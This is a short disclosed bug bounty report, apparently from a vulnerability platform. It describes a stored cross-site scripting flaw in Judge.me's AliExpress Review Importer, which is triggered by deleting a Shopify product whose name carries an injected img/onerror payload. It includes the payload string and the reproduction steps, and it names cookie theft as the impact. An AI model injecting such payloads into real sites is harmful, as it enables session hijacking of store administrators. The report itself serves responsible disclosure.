Judge.me · Report #1425882
stored XSS on AliExpress Review Importer/Products when delete product
Validstatus
mediumseverity
$500bounty
15upvotes
31 Mar 2022disclosed
How it was found
Hi @judgeme!
code
Step to reproduce:
-
Go to Shopify admin and create product with name
"><"><img src=x onerror=prompt(document.domain)> img src=x onerror=prompt(document.domain)> -
Go to AliExpress Review Importer/Products and delete our product with name
"><"><img src=x onerror=prompt(document.domain)> img src=x onerror=prompt(document.domain)>
{F1544890} 3. Xss work=)
P.S. Poc wideo attach
{F1544893}
Impact
cookie stealer